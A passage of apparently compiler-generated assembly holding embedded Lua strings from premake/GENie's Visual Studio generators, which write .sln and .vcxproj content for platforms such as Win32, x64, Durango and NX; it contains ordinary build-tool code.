.asciz "premake.vstudio = { }\nlocal toolsets = {\nvs2010 = \"v100\",\nvs2012 = \"v110\",\nvs2013 = \"v120\",\nvs2015 = \"v140\",\nvs2017 = \"v141\",\nvs2019 = \"v142\",\n}\npremake.vstudio.toolset = toolsets[_ACTION] or \"unknown?\"\npremake.vstudio.splashpath = ''\npremake.vstudio.xpwarning = true\nlocal vstudio = premake.vstudio\nvstudio.platforms = {\nany = \"Any CPU\",\nmixed = \"Mixed Platforms\",\nNative = \"Win32\",\nx86 = \"x86\",\nx32 = \"Win32\",\nx64 = \"x64\",\nPS3 = \"PS3\",\nXbox360 = \"Xbox 360\",\nARM = \"ARM\",\nOrbis = \"ORBIS\",\nDurango = \"Durango\",\nTegraAndroid = \"Tegra-Android\",\nNX32 = \"NX32\",\nNX64 = \"NX64\",\nEmscripten = \"Emscripten\",\n}\nfunction vstudio.arch(prj)\nif (prj.language == \"C#\") then\nreturn \"Any CPU\"\nelse\nreturn \"Win32\"\nend\nend\nfunction vstudio.iswinrt()\nreturn vstudio.storeapp ~= nil and vstudio.storeapp ~= ''\nend\nfunction vstudio.buildconfigs(sln)\nlocal cfgs = { }\nlocal platforms = premake.filterplatforms(sln, vstudio.platforms, \"Native\")\nlocal hascpp = premake.hascppproject(sln)\nlocal hasdotnet = premake.hasdotnetproject(sln)\nif hasdotnet and (_ACTION > \"vs2008\" or hascpp) then\ntable.insert(platforms, 1, \"mixed\")\nend\nif hasdotnet and (_ACTION < \"vs2010\" or not hascpp) then\ntable.insert(platforms, 1, \"any\")\nend\nif _ACTION > \"vs2008\" then\nlocal platforms2010 = { }\nfor _, platform in ipairs(platforms) do\nif vstudio.platforms[platform] == \"Win32\" then\nif hascpp then\ntable.insert(platforms2010, platform)\nend\nif hasdotnet then\ntable.insert(platforms2010, \"x86\")\nend\nelse\ntable.insert(platforms2010, platform)\nend\nend\nplatforms = platforms2010\nend\nfor _, buildcfg in ipairs(sln.configurations) do\nfor _, platform in ipairs(platforms) do\nlocal entry = { }\nentry.src_buildcfg = buildcfg\nentry.src_platform = platform\nif platform ~= \"PS3\" or _ACTION > \"vs2008\" then\nentry.buildcfg = buildcfg\nentry.platform = vstudio.platforms[platform]\nelse\nentry.buildcfg = platform .. \" \" .. buildcfg\nentry.platform = \"Win32\"\nend\nentry.name = entry.buildcfg .. \"|\" .. entry.platform\nentry.isreal = (platform ~= \"any\" and platform ~= \"mixed\")\ntable.insert(cfgs, entry)\nend\nend\nreturn cfgs\nend\nfunction premake.vstudio.bakeimports(sln)\nfor _,iprj in ipairs(sln.importedprojects) do\nif string.find(iprj.location, \".csproj\") ~= nil then\niprj.language = \"C#\"\nelse\niprj.language = \"C++\"\nend\nlocal f, err = io.open(iprj.location, \"r\")\nif (not f) then\nerror(err, 1)\nend\nlocal projcontents = f:read(\"*all\")\nf:close()\nlocal found, _, uuid = string.find(projcontents, \"<ProjectGuid>{([%w%-]+)}</ProjectGuid>\")\nif not found then\nerror(\"Could not find ProjectGuid element in project \" .. iprj.location, 1)\nend\niprj.uuid = uuid\nif iprj.language == \"C++\" and string.find(projcontents, \"<CLRSupport>true</CLRSupport>\") then\niprj.flags.Managed = true\nend\niprj.relpath = path.getrelative(sln.location, iprj.location)\nend\nend\nfunction premake.vstudio.getimportprj(prjpath, sln)\nfor _,iprj in ipairs(sln.importedprojects) do\nif prjpath == iprj.relpath then\nreturn iprj\nend\nend\nerror(\"Could not find reference import project \" .. prjpath, 1)\nend\nfunction vstudio.cleansolution(sln)\npremake.clean.file(sln, \"%%.sln\")\npremake.clean.file(sln, \"%%.suo\")\npremake.clean.file(sln, \"%%.ncb\")\npremake.clean.file(sln, \"%%.userprefs\")\npremake.clean.file(sln, \"%%.usertasks\")\nend\nfunction vstudio.cleanproject(prj)\nlocal fname = premake.project.getfilename(prj, \"%%\")\nos.remove(fname .. \".vcproj\")\nos.remove(fname .. \".vcproj.user\")\nos.remove(fname .. \".vcxproj\")\nos.remove(fname .. \".vcxproj.user\")\nos.remove(fname .. \".vcxproj.filters\")\nos.remove(fname .. \".csproj\")\nos.remove(fname .. \".csproj.user\")\nos.remove(fname .. \".pidb\")\nos.remove(fname .. \".sdf\")\nend\nfunction vstudio.cleantarget(name)\nos.remove(name .. \".pdb\")\nos.remove(name .. \".idb\")\nos.remove(name .. \".ilk\")\nos.remove(name .. \".vshost.exe\")\nos.remove(name .. \".exe.manifest\")\nend\nfunction vstudio.projectfile(prj)\nlocal pattern\nif prj.language == \"C#\" then\npattern = \"%%.csproj\"\nelse\npattern = iif(_ACTION > \"vs2008\", \"%%.vcxproj\", \"%%.vcproj\")\nend\nlocal fname = premake.project.getbasename(prj.name, pattern)\nfname = path.join(prj.location, fname)\nreturn fname\nend\nfunction vstudio.tool(prj)\nif (prj.language == \"C#\") then\nreturn \"FAE04EC0-301F-11D3-BF4B-00C04F79EFBC\"\nelse\nreturn \"8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942\"\nend\nend\n"
L_.str.40: ## @.str.40
.asciz "premake.vstudio.sln2005 = { }\nlocal vstudio = premake.vstudio\nlocal sln2005 = premake.vstudio.sln2005\nfunction sln2005.generate(sln)\nio.eol = '\\r\\n'\nsln.vstudio_configs = premake.vstudio.buildconfigs(sln)\npremake.vstudio.bakeimports(sln)\n_p('\\239\\187\\191')\nsln2005.reorderProjects(sln)\nsln2005.header(sln)\nfor grp in premake.solution.eachgroup(sln) do\nsln2005.group(grp)\nend\nfor prj in premake.solution.eachproject(sln) do\nsln2005.project(prj)\nend\n \nfor _,iprj in ipairs(sln.importedprojects) do\nsln2005.importproject(iprj)\nend\n_p('Global')\nsln2005.platforms(sln)\nsln2005.project_platforms(sln)\nsln2005.properties(sln)\nsln2005.project_groups(sln)\n_p('EndGlobal')\nend\nfunction sln2005.reorderProjects(sln)\nif sln.startproject then\nfor i, prj in ipairs(sln.projects) do\nif sln.startproject == prj.name then\nlocal cur = prj.group\nwhile cur ~= nil do\nfor j, group in ipairs(sln.groups) do\nif group == cur then\ntable.remove(sln.groups, j)\nbreak\nend\nend\ntable.insert(sln.groups, 1, cur)\ncur = cur.parent\nend\ntable.remove(sln.projects, i)\ntable.insert(sln.projects, 1, prj)\nbreak\nend\nend\nend\nend\nfunction sln2005.header(sln)\nlocal action = premake.action.current()\n_p('Microsoft Visual Studio Solution File, Format Version %d.00', action.vstudio.solutionVersion)\nif(_ACTION:sub(3) == \"2015\" or _ACTION:sub(3) == \"2017\") then\n_p('# Visual Studio %s', action.vstudio.toolsVersion:sub(1,2))\nelse\n_p('# Visual Studio %s', _ACTION:sub(3))\nend\nend\nfunction sln2005.project(prj)\nlocal projpath = path.translate(path.getrelative(prj.solution.location, vstudio.projectfile(prj)), \"\\\\\")\n_p('Project(\"{%s}\") = \"%s\", \"%s\", \"{%s}\"', vstudio.tool(prj), prj.name, projpath, prj.uuid)\nsln2005.projectdependencies(prj)\n_p('EndProject')\nend\nfunction sln2005.group(grp)\n_p('Project(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"%s\", \"%s\", \"{%s}\"', grp.name, grp.name, grp.uuid)\n_p('EndProject')\nend\n \nfunction sln2005.importproject(iprj)\n_p('Project(\"{%s}\") = \"%s\", \"%s\", \"{%s}\"', vstudio.tool(iprj), path.getbasename(iprj.location), iprj.relpath, iprj.uuid)\n_p('EndProject')\nend\nfunction sln2005.projectdependencies(prj)\nlocal deps = premake.getdependencies(prj)\nif #deps > 0 then\nlocal function compareuuid(a, b) return a.uuid < b.uuid end\ntable.sort(deps, compareuuid)\n_p('\\tProjectSection(ProjectDependencies) = postProject')\nfor _, dep in ipairs(deps) do\n_p('\\t\\t{%s} = {%s}', dep.uuid, dep.uuid)\nend\n_p('\\tEndProjectSection')\nend\nend\nfunction sln2005.platforms(sln)\n_p('\\tGlobalSection(SolutionConfigurationPlatforms) = preSolution')\nfor _, cfg in ipairs(sln.vstudio_configs) do\n_p('\\t\\t%s = %s', cfg.name, cfg.name)\nend\n_p('\\tEndGlobalSection')\nend\nfunction sln2005.project_platform(prj, sln)\nfor _, cfg in ipairs(sln.vstudio_configs) do\nlocal mapped\nlocal buildfor\nif premake.isdotnetproject(prj) then\nbuildfor = \"x64\"\nmapped = \"Any CPU\"\nelseif prj.flags and prj.flags.Managed then\nmapped = \"x64\"\nelse\nif cfg.platform == \"Any CPU\" or cfg.platform == \"Mixed Platforms\" then\nmapped = sln.vstudio_configs[3].platform\nelse\nmapped = cfg.platform\nend\nend\nlocal build_project = true\nif prj.solution ~= nil then\n build_project = premake.getconfig(prj, cfg.src_buildcfg, cfg.src_platform).build\nend\n_p('\\t\\t{%s}.%s.ActiveCfg = %s|%s', prj.uuid, cfg.name, cfg.buildcfg, mapped)\nif build_project then\n if mapped == cfg.platform or cfg.platform == \"Mixed Platforms\" or buildfor == cfg.platform then\n _p('\\t\\t{%s}.%s.Build.0 = %s|%s', prj.uuid, cfg.name, cfg.buildcfg, mapped)\n end\n if premake.vstudio.iswinrt() and prj.kind == \"WindowedApp\" then\n _p('\\t\\t{%s}.%s.Deploy.0 = %s|%s', prj.uuid, cfg.name, cfg.buildcfg, mapped)\n end\nend\nend\nend\nfunction sln2005.project_platforms(sln)\n_p('\\tGlobalSection(ProjectConfigurationPlatforms) = postSolution')\nfor prj in premake.solution.eachproject(sln) do\nsln2005.project_platform(prj, sln)\nend\nfor _,iprj in ipairs(sln.importedprojects) do\nsln2005.project_platform(iprj, sln)\nend\n_p('\\tEndGlobalSection')\nend\nfunction sln2005.properties(sln)\n_p('\\tGlobalSection(SolutionProperties) = preSolution')\n_p('\\t\\tHideSolutionNode = FALSE')\n_p('\\tEndGlobalSection')\nend\nfunction sln2005.project_groups(sln)\n_p('\\tGlobalSection(NestedProjects) = preSolution')\nfor grp in premake.solution.eachgroup(sln) do\nif grp.parent ~= nil then\n_p('\\t\\t{%s} = {%s}', grp.uuid, grp.parent.uuid)\nend\nend\nfor prj in premake.solution.eachproject(sln) do\nif prj.group ~= nil then\n_p('\\t\\t{%s} = {%s}', prj.uuid, prj.group.uuid)\nend\nend\nfor _,iprj in ipairs(sln.importedprojects) do\nif iprj.group ~= nil then\n_p('\\t\\t{%s} = {%s}', iprj.uuid, iprj.group.uuid)\nend\nend\n \n_p('\\tEndGlobalSection')\nend"
L_.str.41: ## @.str.41
.asciz "premake.vstudio.vc2010 = { }\nlocal vc2010 = premake.vstudio.vc2010\nlocal vstudio = premake.vstudio\nlocal function vs2010_config(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nif cfginfo.src_platform == \"TegraAndroid\" then\n_p(1,'<PropertyGroup Label=\"NsightTegraProject\">')\n_p(2,'<NsightTegraProjectRevisionNumber>11</NsightTegraProjectRevisionNumber>')\n_p(1,'</PropertyGroup>')\nbreak\nend\nend\n_p(1,'<ItemGroup Label=\"ProjectConfigurations\">')\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\n_p(2,'<ProjectConfiguration Include=\"%s\">', premake.esc(cfginfo.name))\n_p(3,'<Configuration>%s</Configuration>',cfginfo.buildcfg)\n_p(3,'<Platform>%s</Platform>',cfginfo.platform)\n_p(2,'</ProjectConfiguration>')\nend\n_p(1,'</ItemGroup>')\nend\nlocal function vs2010_globals(prj)\nlocal action = premake.action.current()\n_p(1,'<PropertyGroup Label=\"Globals\">')\n_p(2, '<ProjectGuid>{%s}</ProjectGuid>',prj.uuid)\n_p(2, '<RootNamespace>%s</RootNamespace>',prj.name)\nif vstudio.storeapp ~= \"durango\" then\nlocal windowsTargetPlatformVersion = prj.windowstargetplatformversion or action.vstudio.windowsTargetPlatformVersion\nif windowsTargetPlatformVersion ~= nil then\n_p(2,'<WindowsTargetPlatformVersion>%s</WindowsTargetPlatformVersion>',windowsTargetPlatformVersion)\nif windowsTargetPlatformVersion and string.startswith(windowsTargetPlatformVersion, \"10.\") then\n_p(2,'<WindowsTargetPlatformMinVersion>%s</WindowsTargetPlatformMinVersion>', prj.windowstargetplatformminversion or \"10.0.10240.0\")\nend\nend\nend\nif prj.flags and prj.flags.Managed then\nlocal frameworkVersion = prj.framework or \"4.0\"\n_p(2, '<TargetFrameworkVersion>v%s</TargetFrameworkVersion>', frameworkVersion)\n_p(2, '<Keyword>ManagedCProj</Keyword>')\nelseif vstudio.iswinrt() then\n_p(2, '<DefaultLanguage>en-US</DefaultLanguage>')\nif vstudio.storeapp == \"durango\" then\n_p(2, '<Keyword>Win32Proj</Keyword>')\n_p(2, '<ApplicationEnvironment>title</ApplicationEnvironment>')\n_p(2, '<MinimumVisualStudioVersion>14.0</MinimumVisualStudioVersion>')\n_p(2, '<TargetRuntime>Native</TargetRuntime>')\nelse\n_p(2, '<AppContainerApplication>true</AppContainerApplication>')\n_p(2, '<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>')\n_p(2, '<ApplicationType>Windows Store</ApplicationType>')\n_p(2, '<ApplicationTypeRevision>%s</ApplicationTypeRevision>', vstudio.storeapp)\nend\nelse\n_p(2, '<Keyword>Win32Proj</Keyword>')\nend\nif not vstudio.xpwarning then\n_p(2, '<XPDeprecationWarning>false</XPDeprecationWarning>')\nend\n_p(1,'</PropertyGroup>')\nend\nfunction vc2010.config_type(config)\nlocal t =\n{\nSharedLib = \"DynamicLibrary\",\nStaticLib = \"StaticLibrary\",\nConsoleApp = \"Application\",\nWindowedApp = \"Application\"\n}\nreturn t[config.kind]\nend\nlocal function if_config_and_platform()\nreturn 'Condition=\"\\'$(Configuration)|$(Platform)\\'==\\'%s\\'\"'\nend\nlocal function optimisation(cfg)\nlocal result = \"Disabled\"\nfor _, value in ipairs(cfg.flags) do\nif (value == \"Optimize\") then\nresult = \"Full\"\nelseif (value == \"OptimizeSize\") then\nresult = \"MinSpace\"\nelseif (value == \"OptimizeSpeed\") then\nresult = \"MaxSpeed\"\nend\nend\nreturn result\nend\nfunction vc2010.configurationPropertyGroup(cfg, cfginfo)\n_p(1, '<PropertyGroup '..if_config_and_platform() ..' Label=\"Configuration\">'\n, premake.esc(cfginfo.name))\nlocal is2019 = premake.action.current() == premake.action.get(\"vs2019\")\nif is2019 then\n _p(2, '<VCProjectVersion>%s</VCProjectVersion>', action.vstudio.toolsVersion)\nif cfg.flags.UnitySupport then\n _p(2, '<EnableUnitySupport>true</EnableUnitySupport>')\nend\nend\n_p(2, '<ConfigurationType>%s</ConfigurationType>', vc2010.config_type(cfg))\n_p(2, '<UseDebugLibraries>%s</UseDebugLibraries>', iif(optimisation(cfg) == \"Disabled\",\"true\",\"false\"))\n_p(2, '<PlatformToolset>%s</PlatformToolset>', premake.vstudio.toolset)\nif os.is64bit() then\n_p(2, '<PreferredToolArchitecture>x64</PreferredToolArchitecture>')\nend\nif cfg.flags.MFC then\n_p(2,'<UseOfMfc>%s</UseOfMfc>', iif(cfg.flags.StaticRuntime, \"Static\", \"Dynamic\"))\nend\nif cfg.flags.ATL or cfg.flags.StaticATL then\n_p(2,'<UseOfAtl>%s</UseOfAtl>', iif(cfg.flags.StaticATL, \"Static\", \"Dynamic\"))\nend\nif cfg.flags.Unicode then\n_p(2,'<CharacterSet>Unicode</CharacterSet>')\nend\nif cfg.flags.Managed then\n_p(2,'<CLRSupport>true</CLRSupport>')\nend\nif cfg.platform == \"TegraAndroid\" then\nif cfg.androidtargetapi then\n_p(2,'<AndroidTargetAPI>android-%s</AndroidTargetAPI>', cfg.androidtargetapi)\nend\nif cfg.androidminapi then\n_p(2,'<AndroidMinAPI>android-%s</AndroidMinAPI>', cfg.androidminapi)\nend\nif cfg.androidarch then\n_p(2,'<AndroidArch>%s</AndroidArch>', cfg.androidarch)\nend\nif cfg.androidndktoolchainversion then\n_p(2,'<NdkToolchainVersion>%s</NdkToolchainVersion>', cfg.androidndktoolchainversion)\nend\nif cfg.androidstltype then\n_p(2,'<AndroidStlType>%s</AndroidStlType>', cfg.androidstltype)\nend\nend\nif cfg.platform == \"NX32\" or cfg.platform == \"NX64\" then\n_p(2,'<NintendoSdkRoot>$(NINTENDO_SDK_ROOT)\\\\</NintendoSdkRoot>')\n_p(2,'<NintendoSdkSpec>NX</NintendoSdkSpec>')\nif premake.config.isdebugbuild(cfg) then\n_p(2,'<NintendoSdkBuildType>Debug</NintendoSdkBuildType>')\nelse\n_p(2,'<NintendoSdkBuildType>Release</NintendoSdkBuildType>')\nend\nend\nif cfg.flags.Symbols and (premake.action.current() == premake.action.get(\"vs2017\") or is2019) then\n_p(2, '<DebugSymbols>true</DebugSymbols>')\nend\n_p(1,'</PropertyGroup>')\nend\nlocal function import_props(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\n_p(1,'<ImportGroup '..if_config_and_platform() ..' Label=\"PropertySheets\">'\n,premake.esc(cfginfo.name))\n_p(2,'<Import Project=\"$(UserRootDir)\\\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists(\\'$(UserRootDir)\\\\Microsoft.Cpp.$(Platform).user.props\\')\" Label=\"LocalAppDataPlatform\" />')\nif #cfg.propertysheets > 0 then\nlocal dirs = cfg.propertysheets\nfor _, dir in ipairs(dirs) do\n_p(2,'<Import Project=\"%s\" />', path.translate(dir))\nend\nend\n_p(1,'</ImportGroup>')\nend\nend\nlocal function add_trailing_backslash(dir)\nif dir:len() > 0 and dir:sub(-1) ~= \"\\\\\" then\nreturn dir..\"\\\\\"\nend\nreturn dir\nend\nfunction vc2010.outputProperties(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nlocal target = cfg.buildtarget\nlocal outdir = add_trailing_backslash(target.directory)\nlocal intdir = add_trailing_backslash(iif(action.vstudio.intDirAbsolute\n, path.translate(\n path.join(prj.solution.location, cfg.objectsdir)\n, '\\\\')\n, cfg.objectsdir\n))\n_p(1,'<PropertyGroup '..if_config_and_platform() ..'>', premake.esc(cfginfo.name))\n_p(2,'<OutDir>%s</OutDir>', iif(outdir:len() > 0, premake.esc(outdir), \".\\\\\"))\nif cfg.platform == \"Xbox360\" then\n_p(2,'<OutputFile>$(OutDir)%s</OutputFile>', premake.esc(target.name))\nend\n_p(2,'<IntDir>%s</IntDir>', premake.esc(intdir))\n_p(2,'<TargetName>%s</TargetName>', premake.esc(path.getbasename(target.name)))\n_p(2,'<TargetExt>%s</TargetExt>', premake.esc(path.getextension(target.name)))\nif cfg.kind == \"SharedLib\" then\nlocal ignore = (cfg.flags.NoImportLib ~= nil)\n_p(2,'<IgnoreImportLibrary>%s</IgnoreImportLibrary>', tostring(ignore))\nend\nif cfg.platform == \"Durango\" then\n_p(2, '<ReferencePath>$(Console_SdkLibPath);$(Console_SdkWindowsMetadataPath)</ReferencePath>')\n_p(2, '<LibraryPath>$(Console_SdkLibPath)</LibraryPath>')\n_p(2, '<LibraryWPath>$(Console_SdkLibPath);$(Console_SdkWindowsMetadataPath)</LibraryWPath>')\n_p(2, '<IncludePath>$(Console_SdkIncludeRoot)</IncludePath>')\n_p(2, '<ExecutablePath>$(Console_SdkRoot)bin;$(VCInstallDir)bin\\\\x86_amd64;$(VCInstallDir)bin;$(WindowsSDK_ExecutablePath_x86);$(VSInstallDir)Common7\\\\Tools\\\\bin;$(VSInstallDir)Common7\\\\tools;$(VSInstallDir)Common7\\\\ide;$(ProgramFiles)\\\\HTML Help Workshop;$(MSBuildToolsPath32);$(FxCopDir);$(PATH);</ExecutablePath>')\nif cfg.imagepath then\n_p(2, '<LayoutDir>%s</LayoutDir>', cfg.imagepath)\nelse\n_p(2, '<LayoutDir>%s</LayoutDir>', prj.name)\nend\nif cfg.pullmappingfile ~= nil then\n_p(2,'<PullMappingFile>%s</PullMappingFile>', premake.esc(cfg.pullmappingfile))\nend\n_p(2, '<LayoutExtensionFilter>*.pdb;*.ilk;*.exp;*.lib;*.winmd;*.appxrecipe;*.pri;*.idb</LayoutExtensionFilter>')\n_p(2, '<IsolateConfigurationsOnDeploy>true</IsolateConfigurationsOnDeploy>')\nend\nif cfg.kind ~= \"StaticLib\" then\n_p(2,'<LinkIncremental>%s</LinkIncremental>', tostring(premake.config.isincrementallink(cfg)))\nend\nif cfg.applicationdatadir ~= nil then\n_p(2,'<ApplicationDataDir>%s</ApplicationDataDir>', premake.esc(cfg.applicationdatadir))\nend\nif cfg.flags.NoManifest then\n_p(2,'<GenerateManifest>false</GenerateManifest>')\nend\n_p(1,'</PropertyGroup>')\nend\nend\nlocal function runtime(cfg)\nlocal runtime\nlocal flags = cfg.flags\nif premake.config.isdebugbuild(cfg) then\nruntime = iif(flags.StaticRuntime and not flags.Managed, \"MultiThreadedDebug\", \"MultiThreadedDebugDLL\")\nelse\nruntime = iif(flags.StaticRuntime and not flags.Managed, \"MultiThreaded\", \"MultiThreadedDLL\")\nend\nreturn runtime\nend\nlocal function precompiled_header(cfg)\n if not cfg.flags.NoPCH and cfg.pchheader then\n_p(3,'<PrecompiledHeader>Use</PrecompiledHeader>')\n_p(3,'<PrecompiledHeaderFile>%s</PrecompiledHeaderFile>', cfg.pchheader)\nelse\n_p(3,'<PrecompiledHeader></PrecompiledHeader>')\nend\nend\nlocal function preprocessor(indent,cfg,escape)\nif #cfg.defines > 0 then\nlocal defines = table.concat(cfg.defines, \";\")\nif escape then\ndefines = defines:gsub('\"', '\\\\\"')\nend\nlocal isPreprocessorDefinitionPresent = string.find(defines, \"%%%(PreprocessorDefinitions%)\")\nif isPreprocessorDefinitionPresent then\n_p(indent,'<PreprocessorDefinitions>%s</PreprocessorDefinitions>'\n,premake.esc(defines))\nelse\n_p(indent,'<PreprocessorDefinitions>%s;%%(PreprocessorDefinitions)</PreprocessorDefinitions>'\n,premake.esc(defines))\nend\nelse\n_p(indent,'<PreprocessorDefinitions></PreprocessorDefinitions>')\nend\nend\nlocal function include_dirs(indent,cfg)\nlocal includedirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\nif #includedirs> 0 then\n_p(indent,'<AdditionalIncludeDirectories>%s;%%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>'\n,premake.esc(path.translate(table.concat(includedirs, \";\"), '\\\\')))\nend\nend\nlocal function using_dirs(indent,cfg)\nif #cfg.usingdirs > 0 then\n_p(indent,'<AdditionalUsingDirectories>%s;%%(AdditionalUsingDirectories)</AdditionalUsingDirectories>'\n,premake.esc(path.translate(table.concat(cfg.usingdirs, \";\"), '\\\\')))\nend\nend\nlocal function resource_compile(cfg)\n_p(2,'<ResourceCompile>')\npreprocessor(3,cfg,true)\ninclude_dirs(3,cfg)\n_p(2,'</ResourceCompile>')\nend\nlocal function cppstandard_vs2017_or_2019(cfg)\nif cfg.flags.CppLatest then\n_p(3, '<LanguageStandard>stdcpplatest</LanguageStandard>')\n_p(3, '<EnableModules>true</EnableModules>')\nelseif cfg.flags.Cpp17 then\n_p(3, '<LanguageStandard>stdcpp17</LanguageStandard>')\nelseif cfg.flags.Cpp14 then\n_p(3, '<LanguageStandard>stdcpp14</LanguageStandard>')\nend\nend\nlocal function exceptions(cfg)\nif cfg.platform == \"Orbis\" then\nif cfg.flags.NoExceptions then\n_p(3, '<CppExceptions>false</CppExceptions>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nif cfg.flags.NoExceptions then\n_p(3, '<GccExceptionHandling>false</GccExceptionHandling>')\nend\nelse\nif cfg.flags.NoExceptions then\n_p(3, '<ExceptionHandling>false</ExceptionHandling>')\nelseif cfg.flags.SEH then\n_p(3, '<ExceptionHandling>Async</ExceptionHandling>')\nend\nend\nend\nlocal function rtti(cfg)\nif cfg.flags.NoRTTI and not cfg.flags.Managed then\n_p(3,'<RuntimeTypeInfo>false</RuntimeTypeInfo>')\nend\nend\nlocal function calling_convention(cfg)\nif cfg.flags.FastCall then\n_p(3,'<CallingConvention>FastCall</CallingConvention>')\nelseif cfg.flags.StdCall then\n_p(3,'<CallingConvention>StdCall</CallingConvention>')\nend\nend\nlocal function wchar_t_builtin(cfg)\nif cfg.flags.NativeWChar then\n_p(3,'<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>')\nelseif cfg.flags.NoNativeWChar then\n_p(3,'<TreatWChar_tAsBuiltInType>false</TreatWChar_tAsBuiltInType>')\nend\nend\nlocal function sse(cfg)\nif cfg.flags.EnableSSE then\n_p(3, '<EnableEnhancedInstructionSet>StreamingSIMDExtensions</EnableEnhancedInstructionSet>')\nelseif cfg.flags.EnableSSE2 then\n_p(3, '<EnableEnhancedInstructionSet>StreamingSIMDExtensions2</EnableEnhancedInstructionSet>')\nelseif cfg.flags.EnableAVX then\n_p(3, '<EnableEnhancedInstructionSet>AdvancedVectorExtensions</EnableEnhancedInstructionSet>')\nelseif cfg.flags.EnableAVX2 then\n_p(3, '<EnableEnhancedInstructionSet>AdvancedVectorExtensions2</EnableEnhancedInstructionSet>')\nend\nend\nlocal function floating_point(cfg)\nif cfg.platform == \"Orbis\" then\nif cfg.flags.FloatFast then\n_p(3,'<FastMath>true</FastMath>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nelse\nif cfg.flags.FloatFast then\n_p(3,'<FloatingPointModel>Fast</FloatingPointModel>')\nelseif cfg.flags.FloatStrict and not cfg.flags.Managed then\n_p(3,'<FloatingPointModel>Strict</FloatingPointModel>')\nend\nend\nend\nlocal function debug_info(cfg)\nlocal debug_info = ''\nif cfg.flags.Symbols then\nif cfg.flags.C7DebugInfo then\ndebug_info = \"OldStyle\"\nelseif (action.vstudio.supports64bitEditContinue == false and cfg.platform == \"x64\")\nor not premake.config.iseditandcontinue(cfg)\nthen\ndebug_info = \"ProgramDatabase\"\nelse\ndebug_info = \"EditAndContinue\"\nend\nend\n_p(3,'<DebugInformationFormat>%s</DebugInformationFormat>',debug_info)\nend\nlocal function minimal_build(cfg)\nif premake.config.isdebugbuild(cfg) and cfg.flags.EnableMinimalRebuild then\n_p(3,'<MinimalRebuild>true</MinimalRebuild>')\nelse\n_p(3,'<MinimalRebuild>false</MinimalRebuild>')\nend\nend\nlocal function compile_language(cfg)\nif cfg.options.ForceCPP then\n_p(3,'<CompileAs>CompileAsCpp</CompileAs>')\nelse\nif cfg.language == \"C\" then\n_p(3,'<CompileAs>CompileAsC</CompileAs>')\nend\nend\nend\nlocal function forcedinclude_files(indent,cfg)\nif #cfg.forcedincludes > 0 then\n_p(indent,'<ForcedIncludeFiles>%s</ForcedIncludeFiles>'\n,premake.esc(path.translate(table.concat(cfg.forcedincludes, \";\"), '\\\\')))\nend\nend\nlocal function vs10_clcompile(cfg)\n_p(2,'<ClCompile>')\nlocal unsignedChar = \"/J \"\nlocal buildoptions = cfg.buildoptions\nif cfg.platform == \"Orbis\" then\nunsignedChar = \"-funsigned-char \";\n_p(3,'<GenerateDebugInformation>%s</GenerateDebugInformation>', tostring(cfg.flags.Symbols ~= nil))\nend\nif cfg.language == \"C\" and not cfg.options.ForceCPP then\nbuildoptions = table.join(buildoptions, cfg.buildoptions_c)\nelse\nbuildoptions = table.join(buildoptions, cfg.buildoptions_cpp)\nend\n_p(3,'<AdditionalOptions>%s %s%%(AdditionalOptions)</AdditionalOptions>'\n, table.concat(premake.esc(buildoptions), \" \")\n, iif(cfg.flags.UnsignedChar and cfg.platform ~= \"TegraAndroid\", unsignedChar, \" \")\n)\nif cfg.platform == \"TegraAndroid\" then\n_p(3,'<SignedChar>%s</SignedChar>', tostring(cfg.flags.UnsignedChar == nil))\n_p(3,'<GenerateDebugInformation>%s</GenerateDebugInformation>', tostring(cfg.flags.Symbols ~= nil))\nif cfg.androidcppstandard then\n_p(3,'<CppLanguageStandard>%s</CppLanguageStandard>', cfg.androidcppstandard)\nend\nend\nif cfg.platform == \"Orbis\" then\nlocal opt = optimisation(cfg)\nif opt == \"Disabled\" then\n_p(3,'<OptimizationLevel>Level0</OptimizationLevel>')\nelseif opt == \"MinSpace\" then\n_p(3,'<OptimizationLevel>Levelz</OptimizationLevel>') -- Oz is more aggressive than Os\nelseif opt == \"MaxSpeed\" then\n_p(3,'<OptimizationLevel>Level3</OptimizationLevel>')\nelse\n_p(3,'<OptimizationLevel>Level2</OptimizationLevel>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nlocal opt = optimisation(cfg)\nif opt == \"Disabled\" then\n_p(3,'<OptimizationLevel>O0</OptimizationLevel>')\nelseif opt == \"MinSpace\" then\n_p(3,'<OptimizationLevel>Os</OptimizationLevel>')\nelseif opt == \"MaxSpeed\" then\n_p(3,'<OptimizationLevel>O3</OptimizationLevel>')\nelse\n_p(3,'<OptimizationLevel>O2</OptimizationLevel>')\nend\nelse\n_p(3,'<Optimization>%s</Optimization>', optimisation(cfg))\nend\ninclude_dirs(3, cfg)\nusing_dirs(3, cfg)\npreprocessor(3, cfg)\nminimal_build(cfg)\nif premake.config.isoptimizedbuild(cfg.flags) then\nif cfg.flags.NoOptimizeLink and cfg.flags.NoEditAndContinue then\n_p(3, '<StringPooling>false</StringPooling>')\n_p(3, '<FunctionLevelLinking>false</FunctionLevelLinking>')\nelse\n_p(3, '<StringPooling>true</StringPooling>')\n_p(3, '<FunctionLevelLinking>true</FunctionLevelLinking>')\nend\nelse\n_p(3, '<FunctionLevelLinking>true</FunctionLevelLinking>')\nif cfg.flags.NoRuntimeChecks then\n_p(3, '<BasicRuntimeChecks>Default</BasicRuntimeChecks>')\nelseif not cfg.flags.Managed then\n_p(3, '<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>')\nend\nif cfg.flags.ExtraWarnings then\nend\nend\nif cfg.platform == \"Durango\" or cfg.flags.NoWinRT then\n_p(3, 